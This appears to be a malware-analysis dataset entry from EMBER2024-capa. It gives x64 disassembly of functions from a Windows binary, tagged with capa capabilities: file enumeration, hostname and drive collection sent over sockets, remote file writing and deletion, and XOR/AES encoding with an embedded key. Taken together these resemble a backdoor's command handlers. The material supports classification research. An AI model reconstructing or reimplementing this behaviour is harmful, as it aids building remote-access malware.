joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003c9d0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rax, qword [0x140076010]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov edx, 4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x14008689c], eax
jle 0x14003cb28
lea rcx, [0x14008689c]
call fcn.140043368
cmp dword [0x14008689c], 0xffffffff
jne 0x14003cb28
xor edi, edi
mov qword [0x1400868c8], rdi
mov qword [0x1400868d8], rdi
mov qword [0x1400868e0], rdi
mov qword [0x1400868d8], rdi
mov qword [0x1400868e0], 7
mov word [0x1400868c8], di
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x20]
xor r8d, r8d
xor edx, edx
lea rcx, [0x14004b170]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
lea rbx, [0x1400868c8]
test eax, eax
js 0x14003ca8b
mov rdx, qword [rsp + 0x20]
test rdx, rdx
je 0x14003caa0
mov rcx, rbx
call fcn.14000d030
mov rcx, qword [rsp + 0x20]
test rcx, rcx
je 0x14003caa0
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov qword [rsp + 0x20], rdi
mov rcx, qword [0x1400868d8]
test rcx, rcx
je 0x14003cb0b
mov rax, rbx
mov r9, qword [0x1400868c8]
mov rdx, qword [0x1400868e0]
cmp rdx, 8
cmovae rax, r9
movzx r8d, word [rax + rcx*2 - 2]
cmp r8w, 0x5c
je 0x14003cb0b
cmp r8w, 0x2f
je 0x14003cb0b
cmp rcx, rdx
jae 0x14003cafd
lea rax, [rcx + 1]
mov qword [0x1400868d8], rax
mov rax, rbx
cmp rdx, 8
cmovae rax, r9
mov dword [rax + rcx*2], 0x5c
jmp 0x14003cb0b
mov r9d, 0x5c
mov rcx, rbx
call fcn.14000d93c
lea rcx, [0x1400486b0]
call fcn.1400437bc
lea rcx, [0x14008689c]
call fcn.140043308
mov rax, rbx
jmp 0x14003cb2f
lea rax, [0x1400868c8]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140042f10
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x14003cb50
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rax, qword [0x140076010]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov edx, 4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x140086898], eax
jle 0x14003cca8
lea rcx, [0x140086898]
call fcn.140043368
cmp dword [0x140086898], 0xffffffff
jne 0x14003cca8
xor edi, edi
mov qword [0x140086878], rdi
mov qword [0x140086888], rdi
mov qword [0x140086890], rdi
mov qword [0x140086888], rdi
mov qword [0x140086890], 7
mov word [0x140086878], di
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x20]
xor r8d, r8d
xor edx, edx
lea rcx, [0x14004b180]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
lea rbx, [0x140086878]
test eax, eax
js 0x14003cc0b
mov rdx, qword [rsp + 0x20]
test rdx, rdx
je 0x14003cc20
mov rcx, rbx
call fcn.14000d030
mov rcx, qword [rsp + 0x20]
test rcx, rcx
je 0x14003cc20
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov qword [rsp + 0x20], rdi
mov rcx, qword [0x140086888]
test rcx, rcx
je 0x14003cc8b
mov rax, rbx
mov r9, qword [0x140086878]
mov rdx, qword [0x140086890]
cmp rdx, 8
cmovae rax, r9
movzx r8d, word [rax + rcx*2 - 2]
cmp r8w, 0x5c
je 0x14003cc8b
cmp r8w, 0x2f
je 0x14003cc8b
cmp rcx, rdx
jae 0x14003cc7d
lea rax, [rcx + 1]
mov qword [0x140086888], rax
mov rax, rbx
cmp rdx, 8
cmovae rax, r9
mov dword [rax + rcx*2], 0x5c
jmp 0x14003cc8b
mov r9d, 0x5c
mov rcx, rbx
call fcn.14000d93c
lea rcx, [0x140048720]
call fcn.1400437bc
lea rcx, [0x140086898]
call fcn.140043308
mov rax, rbx
jmp 0x14003ccaf
lea rax, [0x140086878]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140042f10
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x140001cb0
Capabilities:
Encode data using xor

Disassembly:
test r9, r9
je 0x140001dac
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x20
movsxd r10, dword [rcx + 0x3d0]
mov rsi, rdx
xor edx, edx
mov rax, r9
mov rbp, r9
mov rdi, r8
div r10
mov rbx, rcx
test rdx, rdx
jne 0x140001da0
mov qword [rsp + 0x40], r12
xor r12d, r12d
test rax, rax
je 0x140001d90
mov qword [rsp + 0x48], r13
nop
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call fcn.140001490
cmp byte [rbx + 8], 0
mov r11, rdi
je 0x140001d4a
xor ecx, ecx
cmp dword [rbx + 0x3d0], ecx
jle 0x140001d4a
mov rdx, rbx
sub rdx, rdi
nop word [rax + rax]
movzx eax, byte [rdx + r11 + 0x3f8]
inc ecx
inc r11
xor byte [r11 - 1], al
cmp ecx, dword [rbx + 0x3d0]
jl 0x140001d30
movsxd r8, dword [rbx + 0x3d0]
lea rcx, [rbx + 0x3f8]
mov rdx, rsi
call fcn.140157510
movsxd rcx, dword [rbx + 0x3d0]
movsxd r11, dword [rbx + 0x3d0]
xor edx, edx
mov rax, rbp
inc r12d
div rcx
movsxd rcx, r12d
add rsi, r11
add rdi, r11
cmp rcx, rax
jb 0x140001d00
mov r13, qword [rsp + 0x48]
mov r12, qword [rsp + 0x40]
nop word [rax + rax]
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop rdi
pop rsi
pop rbp
repz ret
Function at 0x140004100
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x4f0
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov qword [rsp + 0x530], rbx
mov rax, qword [0x14020f568]
xor rax, rsp
mov qword [rsp + 0x4e0], rax
mov rbp, rcx
xor r13d, r13d
mov dword [rsp + 0x20], r13d
lea rcx, [rsp + 0x30]
call fcn.140003be0
nop
mov rsi, qword [rsp + 0x40]
lea rcx, [rsi + 1]
call fcn.140007010
mov r12, rax
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rdx, qword [rsp + 0x30]
lea r8, [rsi + 1]
mov rcx, rax
call fcn.140157510
lea rcx, [rsi + 1]
call fcn.140007010
mov rbx, rax
lea r8, [rsi + 1]
xor edx, edx
mov rcx, rax
call fcn.140159440
lea rdx, vtable.AES.0
mov qword [rsp + 0x60], rdx
mov byte [rsp + 0x68], r13b
mov qword [rsp + 0x42c], r13
mov dword [rsp + 0x434], r13d
lea rdx, str.asycmentecdonkey
test rdx, rdx
je 0x1400041e1
lea rcx, [rsp + 0x60]
call fcn.140001820
cmp byte [rsp + 0x68], r13b
je 0x1400041e1
mov r9, rsi
mov r8, rbx
mov rdx, r12
lea rcx, [rsp + 0x60]
call fcn.140001cb0
movzx ecx, byte [rbx + rsi - 1]
mov eax, r13d
test cl, cl
setg al
cmp eax, 0x16
jg 0x140004237
movsx r8, cl
lea edx, [rsi - 1]
movsxd rcx, edx
mov rdi, rsi
sub rdi, r8
cmp rcx, rdi
jb 0x140004237
add rcx, rbx
nop dword [rax + rax]
movsx eax, byte [rcx]
cmp eax, r8d
jne 0x14000422a
mov byte [rcx], 0
dec edx
dec rcx
movsxd rax, edx
cmp rax, rdi
jae 0x140004210
jmp 0x140004237
mov r8, rsi
xor edx, edx
mov rcx, rbx
call fcn.140159440
mov rcx, rbx
lea eax, [rsi - 1]
test eax, eax
jle 0x140004254
mov edx, eax
movzx eax, byte [rcx]
add al, 2
xor al, 7
mov byte [rcx], al
inc rcx
dec rdx
jne 0x140004243
mov qword [rbp + 0x18], SafeArrayGetDim
mov qword [rbp + 0x10], r13
mov byte [rbp], 0
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, rbx
mov rcx, rbp
call fcn.140003710
mov rcx, r12
call fcn.140007018
mov rcx, rbx
call fcn.140007018
nop
cmp qword [rsp + 0x48], 0x10
jb 0x1400042a4
mov rcx, qword [rsp + 0x30]
call fcn.140007018
mov rax, rbp
mov rcx, qword [rsp + 0x4e0]
xor rcx, rsp
call fcn.140157300
mov rbx, qword [rsp + 0x530]
add rsp, 0x4f0
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400042d0
Capabilities:
Enumerate files on windows

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x2b0]
sub rsp, 0x3b0
mov rax, qword [0x14020f568]
xor rax, rsp
mov qword [rbp + 0x2a0], rax
mov eax, dword [0x1401d2314]
mov rdi, rcx
lea rcx, [rbp + 0x190]
mov dword [rbp + 0x180], eax
movzx eax, byte [0x1401d2318]
xor edx, edx
mov r8d, 0x104
mov byte [rbp + 0x184], al
call fcn.140159440
lea rcx, [rbp + 0x190]
mov r8, rdi
mov edx, 0x104
call fcn.140157844
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x190]
repne scasb al, byte [rdi]
lea rax, [rbp + 0x190]
not rcx
cmp byte [rcx + rax - 2], 0x5c
je 0x140004370
lea r8, [0x1401d231c]
lea rcx, [rbp + 0x190]
mov edx, 0x104
call fcn.140157844
lea r8, [rbp + 0x180]
lea rcx, [rbp + 0x190]
mov edx, 0x104
call fcn.140157844
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400043a9
xor eax, eax
jmp 0x1400044ff
mov qword [rsp + 0x3e0], r12
xor r12d, r12d
mov qword [rsp + 0x3d8], rsi
nop dword [rax]
lea rcx, [rsp + 0x20]
xor edx, edx
mov r8d, 0x118
call fcn.140159440
test byte [rbp + 0x40], 0x10
je 0x140004433
lea rsi, [rbp + 0x6c]
lea rdi, [0x1401d2320]
mov ecx, 2
repe cmpsb byte [rsi], byte [rdi]
je 0x1400044ca
lea rsi, [rbp + 0x6c]
lea rdi, [0x1401d2324]
mov ecx, 3
repe cmpsb byte [rsi], byte [rdi]
je 0x1400044ca
lea r8, [rbp + 0x6c]
lea rcx, [rsp + 0x34]
mov edx, 0x104
mov dword [rsp + 0x20], 1
call fcn.140157dd8
mov rdx, qword [0x14021c7e0]
mov qword [0x14021c7e8], rdx
jmp 0x140004470
lea r8, [rbp + 0x6c]
lea rcx, [rsp + 0x34]
mov edx, 0x104
mov dword [rsp + 0x20], r12d
call fcn.140157dd8
mov eax, dword [rbp + 0x60]
mov edx, dword [rbp + 0x5c]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x54]
mov qword [rsp + 0x2c], rax
mov rax, qword [0x14021c7e0]
mov dword [rsp + 0x24], edx
mov qword [0x14021c7e8], rax
mov ecx, 0x128
call fcn.140006fcc
mov rdi, rax
test rax, rax
je 0x14000449f
mov qword [rax + 8], rax
lea rcx, [rax + 0x10]
lea rdx, [rsp + 0x20]
mov r8d, 0x118
mov qword [rax], rax
call fcn.140157510
jmp 0x1400044a2
mov rdi, r12
mov rcx, qword [0x14021c7e8]
mov rax, qword [rcx]
mov qword [rdi], rax
mov rax, qword [rcx]
mov qword [rax + 8], rdi
mov qword [rdi + 8], rcx
mov qword [rcx], rdi
inc dword [0x14021c7f0]
mov qword [0x14021c7e8], rdi
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x1400044ea
lea rdx, [rbp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1400043c0
mov r12, qword [rsp + 0x3e0]
mov rsi, qword [rsp + 0x3d8]
mov eax, 1
mov rcx, qword [rbp + 0x2a0]
xor rcx, rsp
call fcn.140157300
add rsp, 0x3b0
pop rdi
pop rbx
pop rbp
ret
Function at 0x140004840
Capabilities:
Get disk information
Get hostname
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x250
mov rax, qword [0x14020f568]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov r12, rcx
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0x208
call fcn.140159440
lea rcx, [rsp + 0x30]
mov edx, 0x104
call qword [sym.imp.WS2_32.dll_gethostname]
lea rcx, [rsp + 0x134]
xor edx, edx
mov r8d, 0x104
call fcn.140159440
lea rdx, [rsp + 0x134]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
xor r11d, r11d
mov edi, reloc.OLEAUT32.dll_SafeArrayGetDim
mov qword [rsp + 0x20], r11
lea rdx, [rsp + 0x20]
xor ebp, ebp
mov r8d, edi
xor r9d, r9d
mov rcx, r12
mov qword [rsp + 0x28], r11
mov dword [rsp + 0x20], 0x66778814
mov dword [rsp + 0x24], 0x208
lea rsi, [rsp + 0x20]
mov ebx, ebp
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
je 0x140004921
cmp eax, 0xffffffff
je 0x140004921
movsxd rcx, eax
add ebx, eax
sub edi, eax
add rsi, rcx
cmp ebx, 0x10
jge 0x140004954
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov rcx, r12
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jne 0x1400048f7
mov rcx, r12
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.140157300
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret
mov esi, dword [rsp + 0x24]
test esi, esi
je 0x1400049ae
lea rbx, [rsp + 0x30]
mov edi, esi
jle 0x1400049ae
lea rdx, [rsp + 0x30]
xor r9d, r9d
mov r8d, esi
mov rcx, r12
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
je 0x140004921
nop dword [rax]
cmp eax, 0xffffffff
je 0x140004921
movsxd rcx, eax
add ebp, eax
sub edi, eax
add rbx, rcx
cmp ebp, esi
jge 0x1400049ae
xor r9d, r9d
mov r8d, edi
mov rdx, rbx
mov rcx, r12
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jne 0x140004980
jmp 0x140004921
mov eax, 1
jmp 0x14000492c
Function at 0x140004c90
Capabilities:
Delete file
Send data
Send data on socket
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x60
mov rax, qword [0x14020f568]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov r12d, dword [rcx + 0x400]
xor ebx, ebx
mov rbp, rdx
mov qword [rsp + 0x30], rbx
mov r13d, 1
xor r9d, r9d
lea r8d, [r13 + 1]
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
mov rdi, rcx
mov dword [rsp + 0x40], ebx
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140004d06
mov qword [rsp + 0x48], 0x66778813
mov r13d, ebx
jmp 0x140004d52
lea rdx, [rdi + 0x404]
lea r9, [rsp + 0x40]
mov r8d, r12d
mov rcx, rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x40], r12d
je 0x140004d46
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [rsp + 0x48], 0x66778815
jmp 0x140004d4e
mov dword [rsp + 0x48], 0x66778809
mov dword [rsp + 0x4c], ebx
mov edi, reloc.OLEAUT32.dll_SafeArrayGetDim
lea rdx, [rsp + 0x48]
xor r9d, r9d
mov rcx, rbp
mov r8d, edi
lea rsi, [rsp + 0x48]
call qword [sym.imp.WS2_32.dll_send]
mov r11d, eax
test eax, eax
je 0x140004da7
cmp r11d, 0xffffffff
je 0x140004da7
movsxd rax, r11d
add ebx, r11d
sub edi, r11d
add rsi, rax
cmp ebx, 0x10
jge 0x140004dd3
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_send]
mov r11d, eax
test eax, eax
jne 0x140004d77
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140157300
mov rbx, qword [rsp + 0xa0]
add rsp, 0x60
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov r8d, dword [rsp + 0x4c]
test r8d, r8d
jle 0x140004dee
mov r9d, r8d
xor edx, edx
mov rcx, rbp
call fcn.140006a90
test eax, eax
je 0x140004da7
mov eax, r13d
jmp 0x140004db2

Function at 0x140005ff0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, dx
jmp method.CDialog.virtual_712
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rcx + 0xe0], rdx
test rdx, 0xffffffffffff0000
jne 0x14000d173
cmp dword [rcx + 0xd8], 0
jne 0x14000d173
movzx eax, dx
mov dword [rcx + 0xd8], eax
call fcn.14001429c
mov r8d, 5
mov rdx, rdi
mov rbx, qword [rax + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rcx, rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r9, rbx
mov r8, rbp
mov rdx, rax
mov rcx, rsi
mov rdi, rax
call fcn.14000d0d8
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x1400063a0
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x14020f568]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov esi, edx
lea r9, [rsp + 0x50]
mov r8d, 8
mov edx, 0xffff
mov rdi, rcx
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x1400063f2
xor eax, eax
jmp 0x140006472
xor eax, eax
mov qword [rsp + 0xa0], rbx
xor ebx, ebx
mov qword [rsp + 0x5c], rax
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x70], eax
imul esi, esi, 0x3e8
mov qword [rsp + 0x38], rbx
lea rax, [rsp + 0x54]
lea r9d, [rbx + 0xc]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x68]
lea r8, [rsp + 0x58]
mov edx, 0x98000004
mov rcx, rdi
mov dword [rsp + 0x28], reloc.OLEAUT32.dll_VariantTimeToDosDateTime
mov qword [rsp + 0x68], rbx
mov dword [rsp + 0x58], 1
mov dword [rsp + 0x60], 0x3e8
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x5c], esi
call qword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
sete bl
mov eax, ebx
mov rbx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140157300
mov rsi, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret

Function at 0x1400069c0
Capabilities:
Connect socket

Disassembly:
push rbx
push rdi
sub rsp, 0x58
mov rax, qword [0x14020f568]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor eax, eax
mov edi, r8d
mov rbx, rcx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rax
test rdx, rdx
je 0x140006a67
lea r8, [rsp + 0x20]
lea rcx, [rsp + 0x30]
call fcn.1400068c0
test eax, eax
je 0x140006a67
mov edx, 1
mov qword [rsp + 0x50], rsi
mov esi, 2
lea r8d, [rdx + 5]
mov ecx, esi
call qword [sym.imp.WS2_32.dll_socket]
movzx ecx, di
mov word [rsp + 0x30], si
mov qword [rbx], rax
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, qword [rbx]
lea r8d, [rsi + 0xe]
lea rdx, [rsp + 0x30]
mov word [rsp + 0x32], ax
call qword [sym.imp.WS2_32.dll_connect]
mov rsi, qword [rsp + 0x50]
cmp eax, 0xffffffff
jne 0x140006a7d
mov rcx, qword [rbx]
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [rbx], 0xffffffffffffffff
xor eax, eax
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140157300
add rsp, 0x58
pop rdi
pop rbx
ret
mov eax, 1
jmp 0x140006a69

Function at 0x140006a90
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x20
mov edi, r9d
mov ebp, r8d
xor r9d, r9d
mov r8d, edi
mov rsi, rdx
mov r12, rcx
xor ebx, ebx
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
je 0x140006af1
cmp eax, 0xffffffff
je 0x140006af1
movsxd rcx, eax
add ebx, eax
sub edi, eax
add rsi, rcx
cmp ebx, ebp
jge 0x140006b0e
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov rcx, r12
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jne 0x140006ac8
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret
mov eax, 1
jmp 0x140006af3
Function at 0x140006b20
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x20
mov edi, r9d
mov ebp, r8d
xor r9d, r9d
mov r8d, edi
mov rsi, rdx
mov r12, rcx
xor ebx, ebx
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x140006b81
cmp eax, 0xffffffff
je 0x140006b81
movsxd rcx, eax
add ebx, eax
sub edi, eax
add rsi, rcx
cmp ebx, ebp
jge 0x140006b9e
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov rcx, r12
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jne 0x140006b58
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret
mov eax, 1
jmp 0x140006b83

Function at 0x140006bb0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x140006be3
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rcx, rax
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x140006c26
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r11d, eax
add r11, rbx
and edi, 0xf
jbe 0x140006c21
cmp rbx, r11
jae 0x140006c26
dec edi
movzx eax, word [rbx]
lea rbx, [rbx + rax*2 + 2]
jne 0x140006c10
cmp rbx, r11
jb 0x140006c2a
xor eax, eax
jmp 0x140006c36
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x14000a33c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x20
xor esi, esi
xor ebx, ebx
mov r12, r9
mov rdi, r8
mov rbp, rdx
mov r14, rcx
test r8, r8
je 0x14000a3ae
call fcn.14001429c
mov r8d, 0xf0
mov rdx, rdi
mov r13, qword [rax + 0x18]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
je 0x14000a3ae
mov rdx, rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
je 0x14000a3fb
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
mov edi, 1
test rsi, rsi
je 0x14000a3db
mov r10, qword [r14]
mov r9, r12
mov r8, rsi
mov rdx, rbp
mov rcx, r14
call qword [r10 + 0x40]
mov edi, eax
test rbx, rbx
je 0x14000a3db
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
cmp qword [rbp + 0xc0], 0
je 0x14000a3f9
mov rcx, qword [rbp + 0xc0]
mov rdx, r12
mov r8, qword [rcx]
call qword [r8 + 0x140]
mov eax, edi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop r13
pop r12
ret
Function at 0x14000ba40
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
cmp qword [rcx + 0xb0], 0
mov edi, r9d
mov rbx, r8
mov rax, rdx
je 0x14000baba
xor r8d, r8d
call fcn.14000b974
mov rsi, rax
test rax, rax
jne 0x14000ba76
mov eax, edi
jmp 0x14000bad0
lea rax, [rsp + 0x50]
lea r9, [rsp + 0x34]
xor r8d, r8d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x30]
mov rdx, rbx
mov rcx, rsi
mov dword [rsp + 0x50], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
cmove edi, dword [rsp + 0x30]
jmp 0x14000ba72
mov r9, qword [rcx + 0xd8]
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x14000d044
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov r12, r8
mov rbx, rdx
mov r13, rcx
xor edi, edi
call fcn.14001429c
lea r8d, [rdi + 5]
mov rbp, qword [rax + 0x18]
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rcx, rbp
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
test rax, rax
je 0x14000d0a0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
mov r9, rbp
mov r8, r12
mov rdx, rdi
mov rcx, r13
call fcn.14000cadc
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret

Function at 0x14000d134
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, dx
jmp method.CDialog.virtual_712
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rcx + 0xe0], rdx
test rdx, 0xffffffffffff0000
jne 0x14000d173
cmp dword [rcx + 0xd8], 0
jne 0x14000d173
movzx eax, dx
mov dword [rcx + 0xd8], eax
call fcn.14001429c
mov r8d, 5
mov rdx, rdi
mov rbx, qword [rax + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rcx, rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r9, rbx
mov r8, rbp
mov rdx, rax
mov rcx, rsi
mov rdi, rax
call fcn.14000d0d8
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret